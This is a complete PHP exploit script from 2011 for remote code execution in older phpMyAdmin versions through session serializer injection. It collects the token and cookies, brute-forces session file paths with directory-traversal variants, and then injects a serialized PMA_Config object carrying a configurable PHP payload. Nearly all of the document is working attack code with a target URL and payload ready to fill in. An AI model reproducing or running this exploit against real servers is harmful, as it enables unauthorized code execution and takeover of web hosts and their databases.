phpMyAdmin Session Serialized Code Execution

`<?php   
/*   
phpMyAdmin < 3.3.10.2 & < 3.4.3.1 Session Serializer arbitrary PHP code execution exploit   
by M4g, ICQ 884888, http://snipper.ru, (c) 2011   
---   
PHP depending and settings on the target PMA installation: magic_quotes_gpc = off, PHP <= 5.2.13 & PHP <= 5.3.2   
---   
Links & Thanks:   
0. http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/   
1. http://php-security.org/2010/05/31/mops-2010-060-php-session-serializer-session-data-injection-vulnerability/index.html   
2. https://rdot.org/forum/showthread.php?t=286   
3. http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html   
4. http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/   
*/   
  
/*Settings*/   
$pmaurl = 'http://lamer/phpmyadmin325/'; //full PMA url   
$payload = '<?php phpinfo(); ?>'; //PHP code to execute   
/*Settings*/   
  
/*-------------------------------------------EXPLOIT CODE-------------------------------------------*/   
  
$count_redirects = 0;   
$max_redirects = 5;   
  
//отправляем http-данные   
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent, other headers, timeout, what to show = (0-all, 1-body, 2-headers), redirect = 0|1   
function send_data($method, $url, $data = '', $referer_string = '', $cookie_string = '', $ua_string = 'Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8', $other_headers= '', $timeout = 30, $show = 0, $follow_redirect=0)   
{   
global $count_redirects,$max_redirects;   
$return = '';   
$feof_count = 0;   
  
$parsed_url = parse_url($url);   
$site = $parsed_url['host'];   
$path = $parsed_url['path'];   
$query = $parsed_url['query'];   
  
if(preg_match('@_$@i',$query) && !preg_match('@_$@i',$url))   
$query = rtrim($query,'_');   
  
if(preg_match('@_$@i',$path) && !preg_match('@_$@i',$url))   
$path = rtrim($path,'_');   
  
($method == 'GET' && !empty($data)) ? $path .= '?'.$data : '';   
($method == 'GET' && !empty($query) && empty($data)) ? $path .= '?'.$query : '';   
($method == 'POST' && !empty($query)) ? $path .= '?'.$query : '';   
  
if($fp = fsockopen($site, 80, $errno, $errstr, $timeout))   
{   
($method == 'POST') ? $out = "POST $path HTTP/1.1\r\n" : $out = "GET $path HTTP/1.1\r\n";   
$out .= "Host: $site\r\n";   
$out .= "Content-type: application/x-www-form-urlencoded\r\n";   
$out .= "Connection: Close\r\n";   
$out .= "User-Agent: $ua_string\r\n";   
!empty($referer_string) ? $out .= "Referer: $referer_string\r\n" : '';   
!empty($cookie_string) ? $out .= "Cookie: $cookie_string\r\n" : '';   
!empty($other_headers) ? $out .= $other_headers : '';   
($method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" : $out .= "\r\n";   
($method == 'POST') ? fwrite($fp, $out.$data) : fwrite($fp, $out);   
  
while (!feof($fp))   
{   
if($feof_count >=10000)   
break;   
  
$return .= fread($fp, 4800);   
++$feof_count;   
}   
  
fclose($fp);   
  
if($follow_redirect)   
{   
if($count_redirects<$max_redirects)   
{   
if(preg_match('@Location: (.+)@i',$return,$redirect_match))   
{   
$count_redirects++;   
$return = send_data($method, $redirect_match[1], $data, $referer_string, $cookie_string, $ua_string, $other_headers, $timeout, $show, $follow_redirect);   
$count_redirects = 0;   
}   
}   
else   
return 'Max redirects = '.$max_redirects;   
}   
  
if($show == 1)   
{   
$return = explode("\r\n\r\n",$return);   
$return = $return[1];   
}   
elseif($show == 2)   
{   
$return = explode("\r\n\r\n",$return);   
$return = $return[0];   
}   
  
return $return;   
}   
else   
return array('errno' => $errno, 'errstr' => $errstr);   
}   
  
$pmaurl = rtrim($pmaurl,'/').'/index.php';   
  
//Regards to asddas   
$sess_path = array('/tmp/',   
'/var/tmp/',   
'/var/lib/php/',   
'/var/lib/php4/',   
'/var/lib/php5/',   
'/var/lib/php/session/',   
'/var/lib/php4/session/',   
'/var/lib/php5/session/',   
'/shared/sessions',   
'/var/php_sessions/',   
'/var/sessions/',   
'/tmp/php_sessions/',   
'/tmp/sessions/',   
'../../../tmp/',   
'../../../../tmp/',   
'../../../../../tmp/',   
'../../../../../../tmp/',   
'../../../../../../../tmp/',   
'../../../temp/',   
'../../../../temp/',   
'../../../../../temp/',   
'../../../../../../temp/',   
'../../../../../../../temp/',   
'../../../sessions/',   
'../../../../sessions/',   
'../../../../../sessions/',   
'../../../../../../sessions/',   
'../../../../../../../sessions/',   
'../../../phptmp/',   
'../../../../phptmp/',   
'../../../../../phptmp/',   
'../../../../../../phptmp/',   
'../../../../../../../phptmp/');   
  
//1. Token, Session name and Cookies   
$token_page = send_data('GET',$pmaurl);   
  
preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);   
  
$token = $token_array[1];   
  
preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);   
  
$cookie_array = $cookie_array[1];   
$cookie_array = implode("; ",$cookie_array);   
  
preg_match('@phpMyAdmin=([a-z0-9]{32,40});?@is',$token_page,$session_array);   
  
$session = $session_array[1];   
  
//2. Inject into session testing   
  
$sess_test_page = '';   
$o = 0;   
$good_inj = false;   
  
do   
{   
$inj = $sess_path[$o].'sess_'.$session;   
$query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($inj).':"'.$inj.'";}}');   
$sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);   
$sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaur l,$cookie_array);   
  
if(stristr($sess_test_page2,'PMA_Config'))   
{   
$good_inj = $inj;   
flush();   
print '[+] '.$inj.' - good path<br/>';   
break;   
}   
else   
{   
flush();   
print '[-] '.$inj.' - bad path<br/>';   
}   
$o++;   
}   
while($o < count($sess_path));   
  
if($good_inj)   
{   
$query = $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($good_inj).':"'.$good_inj.'";}}').'&_SESSION[payload]='.urlencode($payload);   
$sess_test_page = send_data('GET',$query,'',$pmaurl,$cookie_array);   
$sess_test_page2 = send_data('GET',$pmaurl.'?token='.$token,'',$pmaur l,$cookie_array);   
  
print $sess_test_page2;   
}   
else   
die('[+] Session path was not found');  
  
`